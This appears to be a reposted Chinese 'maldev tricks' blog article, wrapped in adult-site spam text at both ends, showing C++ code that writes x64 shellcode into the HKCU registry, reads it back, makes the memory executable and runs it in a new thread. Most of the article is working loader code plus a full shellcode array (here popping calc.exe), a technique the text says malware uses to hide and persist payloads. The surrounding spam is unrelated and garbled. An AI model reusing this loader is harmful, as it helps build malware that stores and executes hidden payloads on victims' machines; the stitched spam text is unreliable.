色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

在windows注冊表中存儲二進制數據

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-05-31 14:13 ? 次閱讀

簡介

注冊表是 Windows 操作系統中一個重要的數據庫,它包含 Windows 操作系統和應用程序的重要設置和選項。由于注冊表的功能非常強大,因此注冊表對于惡意程序來說是非常有利用價值的。

在 windows 注冊表中存儲二進制數據,這是一種常見的技術,常被惡意軟件用于持久化或存儲惡意的 payload

在注冊表中存儲二進制數據

boolStoreBinaryDataInRegistry(conststd::wstring& subKeyPath, conststd::wstring& vauleName, constvoid* binaryData, DWORD dataSize)
{
HKEY hkey;
LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);
if(res == ERROR_SUCCESS)
{
res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast(binaryData), dataSize);

RegCloseKey(hkey);
}

return(res == ERROR_SUCCESS);
}

上述代碼將二進制數據存儲到 Windows 注冊表中。

取出存儲的二進制數據

boolGetBinaryDataFromRegistry(conststd::wstring& subKeyPath, conststd::wstring& valueName, std::vector& outBuffer)
{
HKEY hKey;

LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);
if(res != ERROR_SUCCESS) {
returnfalse;
}

DWORD dataType;
DWORD dataSize = 0;
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);
if(res != ERROR_SUCCESS || dataType != REG_BINARY) {
RegCloseKey(hKey);
returnfalse;
}

outBuffer.resize(dataSize);
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);
RegCloseKey(hKey);

return(res == ERROR_SUCCESS);
}

上述代碼將從注冊表指定位置取出二進制數據保存在 vector 中。

測試

intmain()
{
unsigned char calc_thread64_bin[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned intcalc_thread64_bin_len = 276;

StoreBinaryDataInRegistry(L"SOFTWARE\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);

std::vector payload;
GetBinaryDataFromRegistry(L"SOFTWARE\testApp", L"test", payload);

auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

memmove(execMem, payload.data(), calc_thread64_bin_len);

DWORD oldProtect;
auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);

if(ret != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return0;
}

上述測試代碼首先使用 StoreBinaryDataInRegistry 將 payload 寫入注冊表指定位置(HKCUSOFTWARE estApp)下的 test 字段,之后從使用GetBinaryDataFromRegistry 取出 payload 數據并創建線程執行 payload。

效果:寫入注冊表中指定位置的數據。

99d6833c-fc66-11ed-90ce-dac502259ad0.png

當程序成功執行將彈出計算器窗口。

99e73c04-fc66-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 數據
    +關注

    關注

    8

    文章

    7004

    瀏覽量

    88944
  • 存儲
    +關注

    關注

    13

    文章

    4298

    瀏覽量

    85802
  • WINDOWS
    +關注

    關注

    3

    文章

    3541

    瀏覽量

    88631

原文標題:maldev tricks在注冊表中存儲 payload

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    hex格式和二進制的區別

    HEX格式和二進制多個方面存在顯著的區別。以下是對這兩者的對比: 一、定義與表示方式 HEX格式 : HEX,全稱為Intel HEX,是一種用于存儲和傳輸數據到嵌入式系統(如單片機
    的頭像 發表于 11-18 15:24 ?458次閱讀

    二進制編碼器應用場景 二進制編碼器與模擬編碼器比較

    編碼器是將信息從一種形式或格式轉換為另一種形式的設備。在數字和模擬系統,編碼器扮演著至關重要的角色。二進制編碼器和模擬編碼器是兩種常見的編碼器類型,它們不同的應用場景中有著各自的優勢和局
    的頭像 發表于 11-06 09:45 ?388次閱讀

    二進制編碼器工作原理 如何選擇二進制編碼器

    二進制編碼器是一種數字電路,它將輸入的二進制代碼轉換為對應的輸出信號。在數字系統,編碼器用于將數據從一種形式轉換為另一種形式,以便于處理和傳輸。
    的頭像 發表于 11-06 09:44 ?676次閱讀

    二進制處理的一些技巧

    二進制和十進制的處理,有時候一些小技巧是很有用的。 1、把十進制數轉換成二進制
    的頭像 發表于 07-05 11:51 ?565次閱讀

    進制和4位二進制計數器數據表

    電子發燒友網站提供《十進制和4位二進制計數器數據表.pdf》資料免費下載
    發表于 05-31 09:32 ?1次下載
    十<b class='flag-5'>進制</b>和4位<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    二進制串行計數器工作原理是什么?

    在數字電路設計,計數器是一種非常關鍵的組件,用于測量時間、計數事件或跟蹤狀態變化等。其中,二進制串行計數器作為一種常用的計數器類型,多種應用場景中都發揮著重要作用。本文將對二進制
    的頭像 發表于 05-28 15:52 ?841次閱讀

    雙4位十進制二進制計數器數據表

    電子發燒友網站提供《雙4位十進制二進制計數器數據表.pdf》資料免費下載
    發表于 05-13 11:12 ?0次下載
    雙4位十<b class='flag-5'>進制</b>和<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    十進位、除以十二和二進制計數器數據表

    電子發燒友網站提供《十進位、除以十二和二進制計數器數據表.pdf》資料免費下載
    發表于 05-13 11:03 ?0次下載
    十進位、除以十二和<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    同步4位十進制二進制計數器數據表

    電子發燒友網站提供《同步4位十進制二進制計數器數據表.pdf》資料免費下載
    發表于 05-09 11:29 ?3次下載
    同步4位十<b class='flag-5'>進制</b>和<b class='flag-5'>二進制</b>計數器<b class='flag-5'>數據表</b>

    如何實現二進制和BCD碼數據的相互轉變?

    如何實現二進制和BCD碼數據的相互轉變? 二進制碼是將十進制數字表示為二進制數和十進制數的一種表
    的頭像 發表于 02-18 14:51 ?3535次閱讀

    鴻蒙二進制數組創建

    背景 c++層數據都是二進制,需要轉換成arrayBuffer透傳到ets層給業務使用,但是鴻蒙的使用下面兩個api創建出來的二進制數組數據都是錯誤的。 接口
    的頭像 發表于 01-31 15:24 ?1267次閱讀

    二進制、八進制、十六進制現實當中有什么意義?

    ,我們可以從數字存儲數據傳輸的角度來看這些進制的意義。計算機內部使用的是二進制,即由0和1組成的數字系統。這是因為計算機的所有
    的頭像 發表于 01-16 11:14 ?5366次閱讀

    10進制轉換為二進制的算法

    進制轉換為二進制是計算機科學中非常基礎且重要的概念之一。在理解和應用計算機科學的基礎知識時,掌握這個算法是至關重要的。 開始講解十進制轉換為二進
    的頭像 發表于 01-15 10:32 ?3265次閱讀

    10進制轉換為二進制的算法

    10進制轉換為二進制是計算機領域中非常重要的一個問題。計算機,所有的數據都是以二進制形式進行
    的頭像 發表于 01-11 09:14 ?2349次閱讀

    labview二進制字符串轉數值

    字符串是一種常見的數據類型,它表示了以二進制形式存儲數據。當我們需要將這些二進制字符串轉換為數值時,LabVIEW提供了一些常用的函數和方
    的頭像 發表于 01-05 16:20 ?2650次閱讀
    主站蜘蛛池模板: 91久久偷偷看嫩草影院无费| 久久日韩精品无码一区| 国产精品久久久久久52AVAV| 国产精品99| 狠狠撸亚洲视频| 考好老师让你做一次H| 免费可以看黄的视频s色| 青青草A在在观免费线观看| 手机看片国产免费久久网| 亚洲高清国产拍精品5g| 诱咪视频免费| adc影院欢迎您大驾光临入口| 成人影片下载网站| 国产又黄又硬又粗| 久久婷婷久久一区二区三区 | 黄色片网站下载| 蜜芽视频在线观看视频免费播放| 強姧伦久久久久久久久| 污到湿的爽文免费阅读| 浴室里强摁做开腿呻吟的漫画男男 | 琪琪see色原网站在线观看| 手机看片国产免费久久网| 亚洲中文无码亚洲人在线观看- | japanesen女同| 国产欧美国日产在线播放| 老师的脚奴| 射漂亮黑b丝女| 在线自拍综合亚洲欧美| 大胆国模一区二区三区伊人 | 一本之道高清视频在线观看| 99re2.久久热最新地址| 国产精品久久久久久久人人看| 久久机热免费视频| 日韩欧美视频一区二区| 一攻多受高h大总攻| 东京热影院| 六月婷婷国产精品综合| 无码一卡二卡三卡四卡| 99国产在线精品视频| 国产永久视频| 青青伊人国产|